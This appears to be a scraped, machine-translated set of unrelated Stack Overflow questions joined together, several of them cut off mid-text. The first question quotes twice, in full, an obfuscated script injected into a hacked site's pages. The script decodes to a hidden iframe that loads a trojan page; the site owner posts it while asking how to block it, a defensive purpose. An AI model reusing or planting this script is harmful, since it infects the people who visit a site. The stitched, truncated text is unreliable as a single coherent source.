我网站上的服务器上也有病毒.
病毒会注入恶意代码
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
Run Code Online (Sandbox Code Playgroud)
在每个服务的单个页面上,它正在由Apache或类似的东西进行预处理,以将其添加到文件的末尾.
我创建了一个测试文件,其代码如下:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
它并不漂亮,但却达到了它的目的.
在浏览器中查看页面时,我明白了
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
可以从www.sagamountain.com/testfile.html查看(警告,此页面已被感染)
我需要以编程方式停止该div和该脚本的执行,因为它是一个iframe到其上有木马的网站.HTML,CSS或JS,我只需要一些方法来阻止JS执行.
它已经显示:无,所以你看不到它,但是如何防止iframe一直加载呢?
谢谢您的帮助!unescape的事情解决了http://ncccnnnc.cn/img/index.php的iframe,这显然是我烦恼的根源.不要去那个网站!
编辑:这是对https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459的跟进#78459
我是processing.org和Java的新手.我试图将对象存储在HashMap中,然后迭代HashMap的值,调用存储对象上的方法.为了做到这一点,我假设我需要将迭代器向下转换为我的类的类型,但这会抛出一个ClassCastException("java.util.HashMap $ ValueIterator不能转换为sketch_oct27a $ MyClass").以下简化代码演示了此行为:
import java.util.*;
void setup() {
HashMap m = new HashMap();
m.put("First", new MyClass());
m.put("Second", new MyClass());
m.put("Third", new MyClass());
Iterator iter = m.values().iterator();
while (iter.hasNext()) {
((MyClass)iter).SaySomething(); // Throws ClassCastException
iter.next();
}
}
class MyClass {
void SaySomething() {
println("Something");
}
}
Run Code Online (Sandbox Code Playgroud)
如何通过迭代器调用SaySomething()方法?
经过我们服务的一些预期的增长后,所有突然的一些更新都花了很长时间,这些过去非常快,直到表达到大约2MM的记录,现在它们大约需要40-60秒.
update table1 set field1=field1+1 where id=2229230;
Query OK, 0 rows affected (42.31 sec)
Rows matched: 1 Changed: 0 Warnings: 0
Run Code Online (Sandbox Code Playgroud)
以下是字段类型:
`id` bigint(20) NOT NULL auto_increment,
`field1` int(11) default '0',
Run Code Online (Sandbox Code Playgroud)
对于上下文切换的分析结果,这是唯一一个在结果上看起来具有高数字的切换:
mysql> show profile context switches
-> ;
+----------------------+-----------+-------------------+---------------------+
| Status | Duration | Context_voluntary | Context_involuntary |
+----------------------+-----------+-------------------+---------------------+
| (initialization) | 0.000007 | 0 | 0 |
| checking permissions | 0.000009 | 0 | 0 |
| Opening tables | 0.000045 | 0 | 0 |
| …Run Code Online (Sandbox Code Playgroud) 我们使用Make来编译我们的产品,包括C,C++,Java和其他一些零碎的东西.我们尽可能地拥有将整个事物编译到源代码控制中所需的所有工具,以消除本地依赖关系并确保dev机器之间的一致性.
最近我们使用Visual Studio添加了一些用C#编写的组件,并希望采用与Visual Studio解决方案类似的方法.向外倾斜devenv不是一个好选择.csc.exe直接调用(正如我在使用Nant之前所做的那样)需要在构建脚本中跟踪文件依赖性,我宁愿让Visual Studio解决方案这样做.
MSBuild似乎是一个不错的选择,虽然它的默认位置%windir%\Microsoft.NET\Framework\[version]\让我担心机器之间的可变性,无论是路径中的[版本]还是你将看到"Framework"和"Framework64"目录的事实.我不介意要求所有开发人员安装任何.NET框架版本,但我确实担心你的v3.5可能与我的不同.
有没有人有他们喜欢的解决方案?尝试过你真正不喜欢的事吗?
所以我在使用$_SESSION变量的PHP站点上进行一些维护.我开始看到一些非常非常奇怪的行为,经过几个小时的调试后我才想到这一点.举个例子,假设我有一个像这样的会话变量设置:
$_SESSION['user']['id'] = 123;
$_SESSION['user']['firstname'] = 'John';
$_SESSION['user']['lastname'] = 'Doe';
Run Code Online (Sandbox Code Playgroud)
在脚本中的某一点,使用一些Zend类调用MySQL表:
$sql = "SELECT whatever FROM table";
$user = $db->fetchRow($sql);
Run Code Online (Sandbox Code Playgroud)
现在这里是奇怪的开始......在进行这个数据库调用之后,我的$_SESSION['user']数组值突然变为从数据库调用中检索的对象...
基本上:$_SESSION['user']现在与使用fetchRow DB方法检索的对象相同,该方法应该存储在变量中$user.我以前从未见过这个.
我唯一可以弄清楚的是因为变量名$user与$_SESSION['user']数组键名相同,它就像一个快捷方式或其他东西.
这是我之前从未听说过的某种奇怪的PHP Session快捷方式吗?
另外,我知道$_SESSION直接访问变量不是最好的做法.我没有建立这个网站.我的工作只是修复一些东西并添加一些功能.
更新:果然,register_globals打开了.谢谢你的快速帮助.难怪我看到这种奇怪的行为.
我想要一个标签的解决方案:hover不能在ie6上运行.我的猜测是必须用javascript完成.
我找到了这个补丁:csshover3.htc(http://www.xs4all.nl/~peterned/csshover.html),我检查了它的演示!我没有在我的ie6浏览器上工作!
必须有一种优雅的方法来解决这个非常大的基本问题,可能是一个jquery插件.
任何领导都是适当的
假设我有一个带有选择菜单的form_for,用于在belongs_to关联上分配用户:
...
form.select :user_id, @users, :prompt => "Select a User"
...
Run Code Online (Sandbox Code Playgroud)
目前我在控制器中有@users如下:
@users = User.all.map { |u| [u.full_name, u.id] }
Run Code Online (Sandbox Code Playgroud)
我觉得这个逻辑可能会转移到帮助者甚至模型中.但我很困惑在哪里处理这个以及如何处理.
你知道redmine或trac的一个很好的替代品,它允许这样的功能吗?我也尝试过fogbugz,但是与svn资源库浏览器集成得太差了(而且没有代码审查支持的迹象).
我使用下面的代码得到以下错误.
expected constructor, destructor, or type conversion before '=' token
Run Code Online (Sandbox Code Playgroud)
-
#include <string>
#include <map>
class Foo {
};
std::map<std::string, Foo> map;
map["bar"] = Foo();
int main()
{
return 0;
}
Run Code Online (Sandbox Code Playgroud) 如何在这个小程序中包含foo.c的foo()函数(对不起我的noob问题):
在我的foo.h文件中:
/* foo.h */
#include <stdio.h>
#include <stdlib.h>
int foo(double largeur);
Run Code Online (Sandbox Code Playgroud)
在foo.c中:
/* foo.c */
#include <stdio.h>
#include <stdlib.h>
#include "foo.h"
int foo(double largeur)
{
printf("foo");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
在main.c:
/* main.c */
#include <stdio.h>
#include <stdlib.h>
#include "foo.h"
int main(int argc, char *argv[])
{
printf("Avant...");
foo(2);
printf("Apres...");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
编译后:
$ gcc -Wall -o main main.c
我收到此错误:
未定义的符号:"_ foo",引用自:ccerSyBF中的_main.l ld:未找到符号collect2:ld返回1退出状态
谢谢你的帮助.